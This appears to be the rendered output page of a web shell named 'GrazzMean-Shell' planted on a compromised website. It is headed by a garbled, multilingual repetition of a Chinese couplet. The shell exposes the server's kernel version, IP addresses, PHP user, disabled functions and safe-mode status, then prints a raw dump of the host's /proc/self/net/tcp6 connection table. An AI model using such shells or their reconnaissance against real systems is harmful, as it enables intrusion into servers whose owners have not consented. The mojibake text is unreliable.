曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.かつては雑草やヨモギと共に雨や露を分かち合っていたが、今では松やヒノキと共に霜や雪に耐えている。曾与蒿藜同雨露,Once sharing rain and dew with weeds and wormwood, now enduring frost and snow with pines and cypresses.终随松柏到冰霜.曾与蒿藜同雨露한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.,终随松柏到冰霜.譖セ荳手珍阯懷酔髮ィ髴イ�檎サ磯囂譚セ譟丞芦蜀ー髴�曾与蒿藜同雨露,鏇句笌钂胯棞鍚岄洦闇诧紝缁堥殢鏉炬煆鍒板啺闇�终随松柏到冰霜.曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.曾与蒿藜同雨露,终随松柏到冰霜. rahbord-ins.ir - GrazzMean-Shell
shell bypass 403

GrazzMean-Shell Shell

: /proc/self/net/ [ dr-xr-xr-x ]
Uname: Linux server18.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 185.126.202.122
Your Ip: 216.73.216.140
User: rahbordf (4876) | Group: rahbordf (4881)
Safe Mode: OFF
Disable Function:
show_source, system, shell_exec, passthru, exec, popen, proc_open

name : tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0BD7 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 164167 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3635645384 1 0000000000000000 100 0 0 10 50
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3697565320 1 0000000000000000 100 0 0 10 256
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3697565321 1 0000000000000000 100 0 0 10 256
   4: 00000000000000000000000000000000:03E1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038467362 1 0000000000000000 100 0 0 10 0
   5: 00000000000000000000000000000000:03E3 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038467314 1 0000000000000000 100 0 0 10 0
   6: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   994        0 3700549033 1 0000000000000000 100 0 0 10 0
   7: 00000000000000000000000000000000:024B 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3635645388 1 0000000000000000 100 0 0 10 50
   8: 00000000000000000000000000000000:2BCB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   988        0 29994 1 0000000000000000 100 0 0 10 0
   9: 00000000000000000000000000000000:006E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038467312 1 0000000000000000 100 0 0 10 0
  10: 00000000000000000000000001000000:030F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3689637372 1 0000000000000000 100 0 0 10 0
  11: 00000000000000000000000000000000:008F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038467360 1 0000000000000000 100 0 0 10 0
  12: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3697565316 1 0000000000000000 100 0 0 10 256
  13: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3697565317 1 0000000000000000 100 0 0 10 256
  14: 00000000000000000000000000000000:01D1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3635645386 1 0000000000000000 100 0 0 10 50
  15: 00000000000000000000000000000000:0035 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 3279727095 1 0000000000000000 100 0 0 10 0
  16: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038464682 1 0000000000000000 100 0 0 10 9
  17: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:E0A2 01 00000000:00000000 02:000AEBF1 00000000   988        0 3806921849 2 0000000000000000 21 5 1 10 7
  18: 00000000000000000000000001000000:E32C 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:00001745 00000000     0        0 0 3 0000000000000000
  19: 00000000000000000000000001000000:D948 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:00000AEB 00000000     0        0 0 3 0000000000000000
  20: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:E332 01 00000000:00000000 02:000AFF24 00000000   988        0 3806931089 2 0000000000000000 20 4 1 7 7
  21: 00000000000000000000000001000000:E21C 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  4996        0 3806922970 1 0000000000000000 20 4 0 10 7
  22: 00000000000000000000000001000000:D9AC 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:00000886 00000000     0        0 0 3 0000000000000000
  23: 00000000000000000000000001000000:E364 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  1366        0 3806924351 1 0000000000000000 20 4 0 10 7
  24: 00000000000000000000000001000000:E00C 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:00000935 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF00000100007F:0CEA 0000000000000000FFFF00000100007F:A1AC 06 00000000:00000000 03:00000DE8 00000000     0        0 0 3 0000000000000000
  26: 00000000000000000000000001000000:E170 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:0000116B 00000000     0        0 0 3 0000000000000000
  27: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:E364 01 00000000:00000000 02:000AFF24 00000000   988        0 3806906120 2 0000000000000000 20 4 1 10 7
  28: 00000000000000000000000001000000:E320 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  3033        0 3806918218 1 0000000000000000 20 4 0 10 7
  29: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:E21C 01 00000000:00000000 02:000AF8BE 00000000   988        0 3806925842 2 0000000000000000 21 4 1 10 7
  30: 00000000000000000000000001000000:E0A8 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:000009EF 00000000     0        0 0 3 0000000000000000
  31: 00000000000000000000000001000000:E0A2 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  3033        0 3806903804 1 0000000000000000 20 4 0 10 7
  32: 00000000000000000000000001000000:E332 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  4996        0 3806925385 1 0000000000000000 20 4 0 10 7
  33: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:E054 01 00000000:00000000 02:000AEBF1 00000000   988        0 3806915711 2 0000000000000000 21 4 1 10 7
  34: 00000000000000000000000001000000:E054 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  3033        0 3806909989 1 0000000000000000 20 4 0 10 7
  35: 00000000000000000000000001000000:E1B4 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:00001363 00000000     0        0 0 3 0000000000000000
  36: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:E320 01 00000000:00000000 02:000AF8BE 00000000   988        0 3806931074 2 0000000000000000 22 4 1 10 7
  37: 0000000000000000FFFF00000100007F:0CEA 0000000000000000FFFF00000100007F:A2F0 06 00000000:00000000 03:00001557 00000000     0        0 0 3 0000000000000000
  38: 0000000000000000FFFF00000100007F:0CEA 0000000000000000FFFF00000100007F:A246 06 00000000:00000000 03:0000119D 00000000     0        0 0 3 0000000000000000
© 2026 GrazzMean-Shell